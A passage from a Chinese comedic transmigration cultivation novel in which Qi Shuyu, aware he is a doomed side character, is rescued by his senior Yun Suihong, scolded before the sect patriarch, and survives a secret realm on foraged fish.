4. 觉悟
多亏那些丑东西不会思考,即便烟花伤不到它们,也能引起它们追逐的兴趣。
看着它们跑进另一片树林后,齐舒玉才跌跌撞撞从剑上摔下来,捂着小肚子窝进巨石与土坡的夹缝中。
一身骨头都散架得不受控制了。
手脚像被大山压着沉沉往下坠,伸展不开,脑海中的意识时而清晰得可怕,时而是一片卷进云端的树叶,小腹处凭空生出一片锋利的金属钻头,磨砺着他的血肉。
五马分尸也不过如此。
齐舒玉忍不住将腿蜷缩起,几缕发丝黏在汗湿的脖颈上。
魔族上岸。
帅哥落难。
他磨了磨后槽牙。
小说这里‘齐舒玉’甩掉女主和薛殷之后,自己也遭了报应被魔族重伤。五天后才被白平飞派出的弟子找到,抬回墨君山时身上鲜血淋漓,一度成为废人。
可恶的剧情引力!
没把那对小情侣甩掉也要重伤炮灰的小肚子吗?!
多亏他机智聪明有运气,找来了和他有点交情的云岁鸿,不至于让白平飞派点偷偷看不惯他的普通路人。
【……这个面生的男人身材高大,五官俊雅飘逸,眼眸像星辰一样璀璨夺目,又像大海一般深邃,还像一汪清澈见底的水潭,他对上官玲珑展现出真诚的笑意时,上官玲珑就知道了,他绝对值得信赖,因为此人周身有股掩盖不住的凛然正气……】
齐舒玉把昏昏沉沉的头靠在石头上。
哎。
这段写得,
咋都看不懂字了。
不知不觉间嘴角有点湿漉漉的,齐舒玉用手一抹,进了一嘴的沙子。
“呸呸呸!”
他惊醒。
生死关头我他妈睡着了?!!
“齐师弟,你醒了。”
低沉的声音传进齐舒玉耳膜里,他神志不清地缩了缩脖子,云岁鸿一副等了他好些时候的样子,都开始修炼打坐了。
“大师兄?我睡了多久?”
天已朦朦亮起来。
齐舒玉想伸个懒腰,腹部剧痛让他再次躺回去蜷缩起来,算是彻底醒了,薄薄的眼睑红了一圈。
云岁鸿温声道:“若是从我到这儿算起,两个时辰。”
四个小时。
齐舒玉不免有些诧异。
他以为没多久的。
这应该就是传说中的灵力透支了吧。
“师弟们呢?”
“我已护送回墨君山了。”
“嗯?”齐舒玉瞪大了眼,转头看向在斜坡上打坐的白衣剑士:“怎么送回去的?”
“自然是御剑。”
他吃惊地指着云岁鸿背上又被包成木乃伊的大剑:“一次能站那么多人吗?”
云岁鸿解释道:“霰月曾用名为随心,取剑随心动之意。”
哦,
法宝。
云岁鸿见齐舒玉似乎难以起身,亲自俯身来扶:“齐师弟,白师伯托我尽快将你寻回,想必他已等候多时,我们还是早些回山罢。”
齐舒玉抱住他的腿哼唧:“再休息会儿吧大师兄,我肚子好痛。”
大师兄的大腿结实得邦邦硬。
不太好抱。
但胜在稳健。
“灵力滥用便是如此,”云岁鸿告诫他:“齐师弟,凡事量力而行,下次不可再这般鲁莽。”
什么?!
这么危险的情况还有下次?
这拜把子老大你能不能当,
不能我可要另外找人了!
“齐师弟,起身吧。”
云岁鸿眼神一动,重剑立即一飞冲天,在林子上方盘旋两圈,施施然躺在齐舒玉面前。
齐舒玉磨磨唧唧不肯动:“大师兄,我真起不来,肚子太痛了!”
云岁鸿难得用词匮乏:“师弟,忍耐片刻。”
青年秀气的眉眼可怜兮兮地耷拉下来,见对方坚持,不得不退一步,商量道:“大师兄不能传我点灵力吗?”
云岁鸿轻轻摇头:“我已入元婴,你的灵台怕是承受不住,易爆体而亡。”
没办法了。
齐舒玉忍痛把手递给云岁鸿,弓着背站起来。
被包成木乃伊的重剑一点点变成能容纳四五个成年男子站上去那么大。
齐舒玉抱住肚子站在云岁鸿身后,见他偏侧着眉目高挺的半张脸:“齐师弟,御剑危险,需扶稳。”不情不愿地‘哦’了声,伸出一只手搭在他精壮的腰上。
“……齐师弟……”
“嗯?”
“…抓紧便可。”
齐舒玉撇撇嘴,换了个姿势。
“齐师弟——”
“这样还不行吗?”
再三折腾让齐舒玉脾气也上来了:“大师兄,太危险的话你可以慢一点!”
他脸贴在云岁鸿背上,压着火抱怨道:“我已经搂很紧了!还要再紧吗?!一会儿被人家看到两个大男人贴得严丝合缝的,像什么话啊?!”
真是的!
修真界怎么不给御剑党限速啊!
云岁鸿不再出声。
大概是齐舒玉的建议被采纳,
他御起剑来四平八稳。
想象中风驰电掣、720度旋转跳跃的场景并没出现。
空气安静得诡异。
回想自己刚才的态度,齐舒玉难免有些不好意思,毕竟乘剑没有安全带,大师兄也是为他考虑。
他张口喝了一嘴风,大着舌头和云岁鸿冰释前嫌:“大、大师兄……”
云岁鸿没什么起伏地应了声:“嗯。”
“为什么你身上硬邦邦的?”
一双白皙细长的手游走在云岁鸿的腰腹上,指节敲敲打打,发出磕碰硬物的声音。
“我乃金灵根,修不破之身。”
“那破了会怎么样?”
“心脉俱损,修为尽废。”
“那不会破的,”齐舒玉不假思索道:“大师兄你放心好了——破了你肯定也没事。”
云岁鸿语气平静道:“师弟信我?”
“相信你自己,大师兄!”
齐舒玉从后面把云岁鸿的胸拍得哐哐响,掌心震得发麻,端汤道:“只要你有信念和决心,就一定能成功!加油,我也很看好你!”
“……”
云岁鸿大概不知道说什么,好半晌才开口:“多谢师弟。”
齐舒玉将脑门抵在云岁鸿背上躲风,声音含糊不清:“大师兄,你的剑不能变成轿子吗?”
“齐师弟。”
“嗯?”
“修道并非戏法。”
?
大师兄不行啊?!
怎么其他文的男主都是想变什么变什么。
“是师兄你修炼还不到火候吗?”
“……诚然。”
“那修炼到什么境界才可以?”
云岁鸿不置可否:“会凭空变换之术的,唯有魔族。”
“只有魔族能变东西出来?”齐舒玉一头雾水:“那飞升成仙呢?”
白衣修士沉默。
“我不知。”
“不知?”
他陷入冗长的回忆中:“几千年了,未曾听闻有修者得正果。”
一下子,换齐舒玉不知道该怎么接话了。<
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p>凡人成仙这条路确实很难。
——因为我国成立以后不允许封建迷信。
他再次心怀安慰地拍了拍云岁鸿结实的胸肌。
一般来说,
得到女主才是你们的正果。
**
“齐舒玉!”
“啊?”
齐舒玉迷迷瞪瞪睁开眼,看到白胡及腰的老头在脸色很不好地仰视他,一副仙风道骨的气派,像正经人家的土地公。
“师傅?”
老头伸手,把他从云岁鸿背上拽下来。
“不得对你师兄无理!”
“无理?我没有吧。”齐舒玉砸吧砸吧嘴,睡眼惺忪道:“我很尊敬他啊。”
云岁鸿收回剑,言简意赅地把来龙去脉阐述一遍,末了道:“白师伯,齐师弟灵力消耗殆尽,还劳您费心替他查看。”
“胡闹!”
白平飞脸色一凝,似是无暇顾及云岁鸿,怒斥齐舒玉:“五岁稚子都知道的分寸,你怎么乱来!是想丹田破碎而亡吗?!”
“什、什么意思啊师傅?”
青年半低着头,眨巴眨巴眼无辜道:“我要死了吗?”
“为师才是先被你气死!”白平飞重重用鼻子的出了口气,抓起他手腕,没好气地吩咐道:“闭上眼!心神合一,念观丹田。”
齐舒玉照做。
真是奇怪。
一个生长在唯物主义社会下的普通阳光大男孩,不动脑子竟然也能明白口令的意思。
他‘看见’自己的腹部有个‘洞’,‘洞’里乌漆麻黑的,要很仔细看,才能看到里面有团圆圆的雾状影子。
这就是‘灵力使用过度’的意思了。
以往这‘洞’里或多或少都是一片蒸腾的雾气。
“为师要查看你的灵台,你莫惊慌。”
话音未落,齐舒玉身体错综复杂的脉络中,骤然出现了股强劲却不属于他的‘气’,在他体内四处游走巡视。
他莫名有些不悦,恰逢‘黑洞’吐出了一丝雾气,心念一动,驱使雾气飞了过去……
“齐舒玉,你又乱来!”
白平飞收手暴呵:“为师交给你的东西都忘光了吗?!”
齐舒玉睁开眼,“嗖”地蹿到云岁鸿背后,从他肩后探出头,发际处的绒毛乱糟糟贴在脸上:“师傅!冷静!”
“为师冷静很久了!这半年来你行事散漫懈怠,看在过往勤学苦练的份上,没和你追究,”白平飞咬牙切齿道:“事到如今,也该抽查一下你修炼成果了!”
那哪行?!
一查不就露馅儿了吗?!
“师傅!我好不容易回来,怎么也要休养个十天半个月吧!”
“两天就没事了,”白平飞捋着长胡子哼哼:“能阻挡为师的灵气,看来你灵台完好无恙。”
听白平飞语气平缓不少,
云岁鸿上前作揖:“既然齐师弟无恙,弟子也能放心回去向师尊复命。”
“嗯,”白平飞像是这会儿才发觉有个人在这,瞥了一眼道:“昨夜辛苦师侄了,你回掌门身边去吧。”
“弟子份内之事。”
待云岁鸿走远,
齐舒玉才小心提醒道:“师傅,你不喜欢大师兄表现得也太明显了。”
“那又如何,”白平飞冷哼了声:“为师早就告诫过你离这小子远些,你怎的不听?当日他加害于你,此仇你当真忘却?”
“怎么老问我这句话。”
齐舒玉小声嘟囔。
就算真动过手,
也应该是原主的问题更大。
女频小说里的男人怎么会犯错呢?!
5. 开会
这件事小说里也没细写,匆匆几笔描述了云岁鸿曾因魔族陷害差点被逐出宗门的背景,主要提的是他下山后获得机缘,三灵根秒变单灵根,成功洗髓逆袭,然后为女主要死要活的强人锁男剧情。
老套路了。
用脚趾头猜也能猜到当年‘齐舒玉’受伤是有人陷害给云岁鸿的。
“此子一看便是阴险狡诈之辈!”
“啊?看着不像吧师傅。”
“你懂什么!信为师还是信他?”
这有什么好问的。
齐舒玉撇撇嘴。
云岁鸿的出厂设定就是一身正气救世主,
而原主‘齐舒玉’是白平飞教出来的,可想而知白平飞能是什么好人?!
“当然是信您!”
他在白平飞铁青的脸色下毫不犹豫地添嘴道:“云岁鸿他算什么东西!给师尊提鞋都不配!”
抱歉了,
大师兄。
你是好人。
在背后说你两句应该不会生气吧。
白平飞看他的目光十分慈祥,满意地点点头。
“噢,糟了,”白平飞一拍脑门,召出长剑来:“掌门嘱我等你们回来后,带到乾坤殿去一趟。半个时辰前申老祖出关了——”
“那大师兄他知……”
“为师御剑危险你莫要吵闹。”
**
经常在修真界混的人都知道,总有个重要角色平日里很少出来走动,和他见过面的人寥寥无几,可他的名声就是会达到在界内无人不知的地步,光辉形象屹立不倒。
——坤元剑派开山师祖,申墨。
坤元剑派坐落于墨君山。
由申墨本人独家鼎力开创,亲情打造,当初仅凭两百年时间便声名鹊起,一套坤元剑法惊才绝艳,在他最后参加的一次论道会上,以元婴期的境界越级击败化神修者,轰动整个修仙界。
由此选择习剑的修者越来越多,硬生生将剑修从器修里名不见经传的一种,被人追捧成全新的修炼赛道。
自坤元剑派成立不到八百年,
在申墨的带领下已在修真界举足轻重,是个上万人的大仙派了。
其中数据还没算挂名投靠的小仙派。
这般逆天的大人物,
多少要和女主沾点边。
白平飞收了剑匆匆往殿前赶。
乾坤殿方圆十里对御剑有严格规定,只能徒步,齐舒玉跟在老当益壮的白平飞后面跑得上气不接下气。虽然他头发花白,但是天天锻炼得脸上都没皱纹,腿脚功夫也着实到位,把齐舒玉踹到已经学会在空中360度托马斯乱转后安全落地了。
听闻申长老出关,
乾坤殿外人头攒动。
直到白平飞亮出符牌,众人才惋惜艳羡地让出一条路来。
越往里走,越是空旷。
在乾坤殿的前殿最中心,赫然站了两拨人。
申墨停滞在大乘期圆满三百年,一直都在冲击渡劫飞升,所以近年来除大事外,一律不插手门派内的事务。
而越来越多的弟子和琐事也让历届掌门应接不暇,在他的旁观之下,整个坤元剑派已潜移默化地分为了南宗和北宗。
南宗擅长御剑空战。
北宗擅长无影快剑。
“往常不都是由掌门和长老们决策么?”
“听说他老人家突然出关了,不知所为何事。”
“无知后辈,殿前不得妄议!”
“是——”
白平飞带着耳朵拉很尖的齐舒玉一头扎进南面队伍。
南宗以掌门为首。
他的目光扫过齐舒玉,脸色沉下来:“岁鸿呢?”
白平飞自顾自低头整理衣襟:“师侄走得急,我话还没来得及说完他就不见踪影了。”
“你!”
掌门瞪了白平飞一眼,又迅速瞟了瞟台上空空如也的宝座,呼吸沉重地掐诀传音。
齐舒玉跟鹌鹑似的缩着脖子站在白平飞后面。
大人吵架小孩可不能插嘴。
他转了转眼珠子,左右都是不认识的同门。
经过半年的不科学适应,他一眼就能看出,这些同门的修为比自己只高不低。
怪不得常有修仙者走火入魔的。
这些人看起来眼里已经没有七情六欲了,
冷冰冰得像机械伪人。
瘆得慌。
乾坤殿里的氛围压得齐舒玉呼吸都不敢大声,当即屏气凝神,把脑子里的《龙傲在天》打开来复习。
【“……紫衣男子一出场,雍容华贵的气度便让众人心生敬意,不约而同地低下头,生怕连直视他也成为冒犯。
紫衣男子面如冰霜,斜靠在宝座上,骨节分明的修长手指敲击着扶手,极具磁性的低沉嗓音在大殿内像是开了4D播放模式,声音明明不大,却不由让人沉浸其中,深感余音绕梁。
他很快就向众人宣布,一百年一次的修仙论道大会开始在即,坤元剑派也将派一百五十名弟子前往。
场面瞬间犹如炸开的油锅。
若能代表坤元剑派在论道大会上露脸,无疑会在修真界名声鹊起!
不过没多久,众人又安静下来。
每个人的表情都有一丝凝重。
这出头的机会,怕是轮不到自己头上吧。
上官玲珑也心知肚明。
可是不知怎的,冥冥之中她总觉得那里有非常重要的机会在等她!即便如今的她实力不够,但她知道自己有一颗善良努力的心!她一定会求申墨,拿到论道大会的名额!
此时,宝座上的申墨双眸深不见底。
呵,
这个女人……】
“好大的胆子!”
一声伴随着威压的暴喝声在殿内响起:“代表我坤元剑派出山,自是由本尊定夺,哪里有尔等置喙的权利!”
齐舒玉刚睁开眼。
‘咚’地一声跪下了。
好消息:
不少弟子和他一样承受不住都跪了,甚至还有吐血的。
坏消息:
跪在前殿的只有他一个。
手脚发软,
耳边嗡嗡作响。
“既然尔等小辈不服,本尊就为你们开启长垣秘境,传令下去——凡殿前喧哗者,必入秘境!”
宝座上面容模糊的男人眯起眼睛,声音重重地敲在众人心房上:“记住,这一百五十人,只有完好无损的方能代坤元剑派出山。其余败者,五百年内不得出墨君山!”
论道大会是有年龄限制的,五百岁以下才能参加。
这五百年的禁足令一下,可能这辈子都没办法在修真界崭露头角了。
大殿里静得一根针都能听见。
良久。
齐舒玉双手撑着地想偷摸站起来。
上方传来一声嗤笑。
双肩一沉。
他又落了回去。
脚后跟都快打到腰了。
“本尊闭关许久,没料到门内弟子愈发低劣,”高台上位者的目光犹如实质:“单木灵根,未及弱冠之年筑基,先天尚可却业荒于嬉,这种弟子,不要也罢。”
他在说谁很明显,
不过齐舒玉哪里敢反驳一句话。
长到二十岁头一次在会上跪着挨过批评,人都傻了。
这哥们儿太吓人了!
“禀师祖,齐师兄是因舍命救我等同门才导致灵台枯竭,无力抵抗师祖灵压的!”
少女银铃般的嗓音骤然打破殿内的沉寂,
不卑不亢。
听得齐舒玉眼泪都快掉下来了。
女主是天使吧。
“未允尔等答话,竟擅作主张?!”
他的目光似刀尖一寸寸刮在人的皮肉上。
“本尊倒是好奇——尔等如何教出殿中这般无能无礼的弟子。不过区区双灵根,也斗胆敢放话代表我坤元剑派参道!”
这下。
别说他们这些弟子了,
连长老头都把头埋得更低了。
不过女主就是女主!
身子都快贴到地上了,还脆生生道:“师祖方才允诺过了,能通过秘境者,皆有资格!您的话所有弟子都听到了的,若要追责,也该等私试结束。到那时候,弟子们的能耐有目共睹!”
齐舒玉都愣住了。
他以为这女主是单纯的傻白甜呢!
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不是,姐,你玩这么勇?!
申墨哼了声,一身绛紫鎏金边的长衣无风自动,三分讥讽:“好,本尊尚且瞧着——尔等何名?”
“弟子上官玲珑。”
“……”
“……”
“……”
“……”
齐舒玉双膝软软的跪在地上,仰着头,不明所以地望着周围投来的目光。
白平飞急得拿脚踹他,
传音道:“快!师祖在等你报名字!”
“哦哦哦,弟子齐舒玉!”
大殿里的温度又降了不少。申墨的声音冷得能结出冰渣子,一掌拍在宝座扶手上,将上面的灵器宝石拍个稀巴烂:“还有。”
“弟子云岁鸿。”
一声温润如玉从远处飘进殿内,坚若磐石。
齐舒玉佝偻着肩从人缝里往外瞧了眼,立刻有样学样地挺起腰,从鸭子坐改成单膝跪地。
“好。尔等三人本尊记下,三日内秘境开启。若此次你们无缘论道大会,那便永生不得踏入墨君山半步!”
话音未落,强烈的灵力波动卷起一股飓风,充斥整个乾坤殿。待齐舒玉能睁开眼时,座上已空无一人。
半个时辰后。
齐舒玉灰溜溜地跟着白平飞回到千鸟阁。
白平飞颤着手对他脑门指了三回又放了三回,嘴角打着哆嗦,恨铁不成钢道:“哎,你真是差点把为师气死!”
“你说你,那几个没用的家伙去救了干嘛呢?!害你灵台枯竭,在师祖面前出糗!”
“和你说过多少回,只要在墨君山众人面前进退有度,你又是个天资聪颖的,掌门长老们迟早会点名让你去论道大会的!”
“这下好了!那长垣秘境是师祖耗心血打造,自坤元剑派开山就有,迄今为止不知关了多少魔物异兽在里面,进去历练过的弟子无不是九死一生!”
“——哎,你真是,你真是把为师的脑袋悬在裤腰上了!”
齐舒玉纠正他:“师傅,现在悬的是我脑袋。”
白平飞吹胡子瞪眼:“为师的千鸟阁将来必定是交由你打理的,你有难和为师有难岂不是一回事。”
“那我不去了吧,师傅!”齐舒玉借坡下坡,扑过去搂住白平飞胳膊,额头在他肩上磨来磨去:“万一您最器重的徒儿有什么三长两短,您的千鸟阁不就后继无人了?”
“不行。”
白平飞嫌弃地把手臂抽出来果断拒绝:“师祖已经记住你了,你要是去,我千鸟阁还有一线生机,不去才是道尽途穷。”
白老头有多重视千鸟阁的未来发展——齐舒玉大概比作者还要清楚。
他说要齐舒玉去。
齐舒玉是跑不掉了。
他眼睛鼻子皱成一团:“那怎么办?!”
书里没写这段,只留了句:
【令申墨没想到的是,凭借惊人的毅力和决心,上官玲珑居然通过了他对她的刁难考验。
这女人,
有趣。】
什么长垣秘境,提都没提。
完全是闭卷瞎考啊!
仙风道骨的老头捻着胡须思索良久。
“为师给你一些护身法器,自然可保你全须全尾地从秘境中出来,至于你要如何从众多弟子中脱颖而出,获得论道资格……为师有一良谏——”
白胡子道人眼底闪过一抹精光,偏头直视青年,语气狠戾:“……就看你敢不敢做了。”
齐舒玉心头一跳。
这老家伙的确不是个善茬,
居然暗示他犯法!
“师尊,你是想让我……”
他比了个抹脖子的手势,坚定道:“我不……”
“齐舒玉你好大的胆子!”
白平飞突然大发雷霆,在他头上一顿暴扣:“敢在老子眼皮子底下生出这份心思!那些弟子与你可是同门!”
“哇哇哇哇哇那师尊你什么意思嘛?”
“为师劝你放下颜面,在秘境中多追随你大师兄!”
齐舒玉抱着头在石桌下四处逃窜的身影顿住,
站起来更大声地吼了回去。
“那这个主意也不用你出吧!!!!”
6. 死嘴
齐舒玉再次艰难地从草地里刨出一块发光石。
这是今天的第143块了。
他一屁股坐到草堆上,叹口气摇摇头。
把它往后扔出一道弧线。
买彩票没中过奖的人果然当不了主角。
人家主角不管在哪里,随手一刨就能刨个宝贝。
叼着草根嚼了又嚼,齐舒玉终于忍不住摸索到一棵足有五人环抱那么粗的树下,仰起头小声叫唤:“大师兄——大师兄——”
顶端的树冠微不可见地簌簌晃动几下之后,一道修长有力的身影单手悬挂在树枝上,借力蹬向树干,脚尖点过树叶,无声无息地一跃而下。
“齐师弟,可见什么动静?”
“什么都没发现,”齐舒玉一筹莫展:“师兄你看到什么出口迹象了吗?”
“尚未。”
云岁鸿神色凝重。
三天了。
进秘境整整三天了。
申墨那个老东西什么提示都没给。
要不是找了个主角傍身,还活着出秘境呢,死了都不一定能被管家找到尸体在哪。
这里连白平飞都没进来过,所以他并不知道长垣秘境会压制修为。别说那些他偷偷塞给齐舒玉的法宝一个都召唤不出来,就连齐舒玉自己的随身剑因为放在储物袋里也不能用了。
感谢作者没有写给云岁鸿把剑收在储物袋的习惯。
这两天还能用来砍点树枝烧火。
“师弟?”
齐舒玉肚子又咕咕叫起来。
他瞥了云岁鸿一眼,
难得红了脸。
压制修为的意思是,
他在这秘境里没有灵力用了。
不止是没有灵力、没有剑、没有储物袋的问题。
他还没有辟谷,
没有野外生存能力,
却具备同时招惹到几头魔兽的出色本领。
那天在乾坤殿等退场的时候,他可是三两下就用完了云岁鸿给他的私人专属传音符,夺命连环call云岁鸿和他组队,信誓旦旦地表示一定不拖后腿。
幸好没有和他申明是谁的后腿。
“离开秘境的办法总会有,师弟莫愁。你尚未结丹自须进食,不必忍耐。”
云岁鸿没有多说,拍拍他的肩,越过他继续往前走:“魔兽昼伏夜出,天色渐暗,我们先找地方休息。”
齐舒玉等的就是这种通情达理的好人话!
他听得美滋滋,
立马屁颠屁颠跟上。
望着快两米的男神背影,
齐舒玉沉沦了。
这哥人设实在太顶!
只要不出意外,就算拼尽全部千鸟阁的家当,也要帮他转正男主!
但凡齐舒玉是个女的,甚至只是弯到一半的双插头,都肯定要把持不住对云岁鸿投怀送抱了。
尤其是进传送阵的时候。
听说81个阵法每启动一次,都会将人传送在不同地方,为了避免两人传送到不同位置,云岁鸿竟然招呼也没打,直接把他这个一米八的小猛男扯怀里带进来了。
成熟男人实在太会了。
太会了!
齐舒玉脸红心跳地偷着学了不少把妹技巧。
别说等到离开这本小说了,
就算只能离开这个秘境他也要去试试。
第一天吃果子。
第二天啃树枝。
第三天差点喝西北风。
好不容易找到条河,终于可以吃鱼了!
齐舒玉开心得把鞋子甩飞,挽起裤脚,露出两条莲藕一样透白匀称的小腿冲到白衣剑士身边,溅起一大片水花,勾着对方坚硬的肱二头肌,双眼亮晶晶道:“哥,你也教我拿叉子捕鱼呗!”
云岁鸿垂眸扫了眼两人半湿的衣衫,完全没脾气,温顺得像男频文里熟睡的妻子:“好。”
一顿猛如火的操作下来,
齐舒玉除了水草什么也没捞着。
没了灵气当外挂,他手脚完全不听脑子指挥,空有一身蛮力,浑身湿得更彻底了。
最后还要先饿着肚子洗个澡。
云岁鸿在岸边堆好树枝,
掏出怀里的火折子开始烧火。
要不说成功都是留给有准备的人呢。
他家具带那么全,
齐舒玉感觉自己都要爱上这个居家好男人了。
不仅知道要把火折子揣怀里,
还在外面包了层符。
防水效果一级棒,
真是考虑周到!
狗刨了好一阵的齐舒玉终于饥肠辘辘地从水里上岸,光着膀子无比自然地把衣服递给云岁鸿。
云岁鸿愣了一下,这才把淌水的衣服接过,找根树枝晾起来。
齐舒玉满心满眼都是篝火上的烤鱼串。
不知道是什么品种的鱼,每条只有巴掌大点,拖着长长飘逸尾巴。
不仅漂亮。
还香。
齐舒玉咽了口口水。
“大师兄,这鱼这么漂亮,能吃吗?”
漂亮的蘑菇有毒,
但漂亮的鱼鱼你可千万不能有毒啊!
“试试便知。”
云岁鸿轻声道。
随即他伸手抽出一条翻着白花花肚皮的小鱼,直接放嘴里嚼了嚼,吞了下去。
齐舒玉半晌回不过神来,
眼睛瞪得溜圆。
被他那么直勾勾地盯着许久,向来眉目淡然的云岁鸿眼底竟也浮现出明显疑惑。
他狐疑地歪了歪头:“齐师弟?”
唇色红润的青年嘴巴张了又张,
终于找回声音。
“大师兄……你手都被火烤到了,没事吗?”
“你不烫嘴吗?”
“你怎么不吐鱼刺?”
“这鱼不用刮鱼鳞吗?”
“不加调味料也能吃吗?”
“腥不腥啊这鱼?”
最后,
他突然反应过来:“不是吧,大师兄……这几天,你……你、你都在帮我试毒吗?”
回想起来,
这几天的食物都是云岁鸿找来的。
也都是他先吃,
然后等了会儿才递给齐舒玉。
我真是该死啊!
齐舒玉蓦然红了眼眶。
他还想着谁找到的谁先挑呢!
也该云岁鸿吃第一口。
完全忘记金丹期就可以不吃东西这个设定了!
“……无碍,师弟,吃吧。”
云岁鸿嘴角含笑着把剩下的烧烤递过来,眼里闪烁着圣母的光辉。
因为平日里平易近人的样子,总觉得云岁鸿是温文尔雅的长相,其实细看之下,他的五官深邃立体十分浓烈,帅得很客观。
一口下去。
泪眼汪汪的齐舒玉就把嘴角的水渍抹掉了。
云岁鸿倒也值得这第一口!
什么秘境啊,
这么会养食物!
鱼肉细嫩无刺,入口即化,不加调料也能回味甘甜来,再裹上一层特殊的烟火气……他前两天还暗戳戳嫌弃这里树枝烧着呛鼻子不说还甜得犯恶心,没想到和这鱼是绝配啊!
“百步之内必有解药。”
老祖宗的话含金量还在上升!
齐舒玉埋头苦干。
再抬头,
烤架上已经空了。
他舔舔嘴角。
一串热乎乎的新鱼串适时出现。
齐舒玉艰难收回目光,假模假样道:“不了……吧,哥你也吃,我帮你烤。”
云岁鸿挡住他伸过来帮忙的手,温和道:“无需,都留给师弟罢。”
好好好。
有这么贤惠懂事的男人在身边,
女主真是好福气!
火光的映照下,
肤如白玉的青年耳垂鼻尖通透如玛瑙。
嘴唇也像一片娇艳欲滴的花瓣。
吃饱喝足后,
齐舒玉头脑愈发昏沉。
他皱皱鼻子,
怀疑是在水里冻感冒了。
头重得都要抬不起来。
耳边云岁鸿的声音逐渐变得模糊起来。
“齐师弟?”
“没、没关系,”他努力辨认云岁鸿的方向,甩了甩头,喃喃道:“我就是有点头昏,应该、应该一会儿就好了。”
对方轻笑。
安抚地拍了拍他的肩。
真是好人呐!
齐舒玉再次由衷感慨。
他信赖地将自己半个身子都挂了过去。
对方似乎闪避了一下。
目光有些失焦的青年没有在意,硬是速度奇快地贴了回去,重新勾住对方僵直的脖子,毛茸茸的发梢也跟着扎进对方肩窝里,蹭来蹭去,清朗的嗓音也多了几分低软:“哥们你人真的太好了,我要是个女的,肯定做梦也要嫁给你。”
安静声中。
一只坚如磐石的手,
坚定地隔开了青年白花花的肚子。
“师弟,我心中唯
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有剑道。”
天呐。
都快忘记这哥初始设定是事业脑了。
结果只能落得个恋爱脑下场。
齐舒玉更心疼了。
男人。
尤其在女频文里的男人。
别说碰事业了,
连碰到事业线都费劲。
齐舒玉被染成金黄色的睫毛扑闪几下,眼神都不由自主染上了怜悯,欲言又止道:“……话也不能说太早。”
“师弟此话怎讲?”
“…… ”
此话不太好讲。
舔了舔唇,齐舒玉思索再三,忍着头晕目眩,坐直了小心斟酌道:“大师兄,你……觉得小师妹怎么样?”
云岁鸿平静道:“哪位师妹?”
“就是墨君山最漂亮的小师妹,上官玲珑啊。”
“上官师妹聪慧。”
“只有聪明那么简单?”
“师弟何意。”
“何意?”齐舒玉迷迷糊糊地反问道,见他情绪不明地掀起眼帘,端着高风亮节的作派,于是用被热气烤红的肩头撞他:“你别装,我知道你肯定对她有意思!”
男人唇角动了动,终于正脸看了过来,幽黑的瞳仁倒映着暗红色篝火:“师弟此话从何见得。”
凉风一吹。
齐舒玉打了个激灵,
清醒不少。
这时候云岁鸿还没和上官玲珑讲过几句话,当然不知道自己喜欢她。
不知道怎么把这话圆过去,齐舒玉急得抓耳挠腮道:“哎呀,就算现在没感觉,以后也会爱上的。”
“师弟何出此言。”
“呃……你就当冥冥之中自有天意。”
提到天意,齐舒玉心里‘咯噔’一下。
他们这种活得不讲科学的修仙人对揣测“天意”一直很狂热。
果然,云岁鸿也不如之前好敷衍了,饶有兴趣地追问起来:“师弟怀有天意?”
齐舒玉也能理解。
毕竟是个人都想开上帝视角。
他像酒局上喝多了爱搂着新人演讲的发福中年男子一样,先高声莫测地叹口气,再去搂云岁鸿肩膀。
……没搂住。
因为云岁鸿是双开门。
于是他退而求其次,搭上了较为劲窄的腰间。
手里的肌肉莫名有种硬到要爆炸的感觉。
但云岁鸿本来就硬梆梆的,
错觉吧。
“要是有的话,我早就离开墨君山这鬼地方了。”
是个男人都想活在爽文里妻妾成群,
而不是在言情文里当活不过十五章的炮灰。
还是顶着童子身,给女主下那种小说常用药也不允许成功的炮灰。
“墨君山是难得的修炼宝地,若非有大乘期者镇守坤元剑派,不知会被多少修真者虎视眈眈,师弟竟不想留在墨君山么。”
云岁鸿神色淡淡,
眼底没有一丝情绪。
“不想,”齐舒玉摇摇头:“修炼太无聊了,活那么久又没意思还活着干嘛。”
云岁鸿拨弄火堆的手一顿。
火苗蹿上来舔舐一口他的指尖,
又飞快缩了回去。
他神情自若地弹了弹手指:“师弟言语甚是有趣,既然世人的毕生渴求师弟都不放在眼里,那……何处才是师弟的心之所向?”
“有房有车,有老婆孩子呗!”
齐舒玉霎时来了精神,双手比划:“我就想找个腿长胸大,脸还漂亮的生孩子!帅到我这个级别的平时要端着,万一以后就进娱乐圈了呢,根本不敢谈恋爱留黑料你知道吗?!就怕哪天被唯一的姐脱粉回踩,再骂我和别的男人是一路货色。”
“那就是侮辱你懂吗?!那些low货没我高又没我帅,还没我会造人设,顶多有几个比我多俩钱,但有啥用啊,人家女生还不是背后嘀咕他们……”
望着那双沉沉的眼,
齐舒玉骤然捂住了自己的嘴。
“师弟,谨言慎行。”
齐舒玉:“……”
死嘴!!!!!
你怎么什么都说啊!!!!
完了完了完了,
清纯不谙世事的男大形象毁了!
他偷摸瞄了眼云岁鸿。
脸上没露出瞧不起人的表情。
也可以说是没有表情。
可这种时候,
令他看上去和其他修为高的人一样冷冰冰的生人勿近。
齐舒玉识趣地坐远了点。
7. 好香
一时间,
空气里的分贝低得可怕。
齐舒玉低着头,
时不时偷感很重地用余光瞄云岁鸿几眼。
直到云岁鸿出声提醒他衣服可以穿了,齐舒玉才忙不迭地应下,一边穿衣服一边又拍了两句‘师兄你人真好’‘师兄真是心地善良’的马屁。
不管云岁鸿是怎么想的,
反正他先开口,
肯定是给自己台阶的意思了。
他不问,你不说。
他一问,你惊讶。
男人嘛,
都这样的。
于是齐舒玉心安理得地又顺势坐回云岁鸿身边去了。
再说,荒郊野外的,
在云岁鸿边上才能有安全感!
云岁鸿侧目,没有说什么。
看上去特别温柔。
篝火燃烧得越来越旺,
白色的烟雾仿若化为实质。
齐舒玉鼻翼翕动,
在草木的香气中嗅到一丝回味无穷的甘甜。
熟悉又亲切。
“好香,”
青年略微迷茫地眨了眨眼:“师兄,你闻到了吗?好香啊。”
他嘿嘿笑着,得寸进尺地把头埋过去,正准备仔细闻一闻,却被拦了一下,
不由面上烦躁。
“师弟?”
“干嘛不让我碰?!你都八十多了,让让我很难吗?”
齐舒玉看着眼前停留在筑基后,顶多二十七八的帅脸,不满道:“你也不想出去后我跟白平飞告你的状吧?”
“……”
“……”
沉默,
是今晚的康桥。
啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!
啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!
他在说什么啊?!
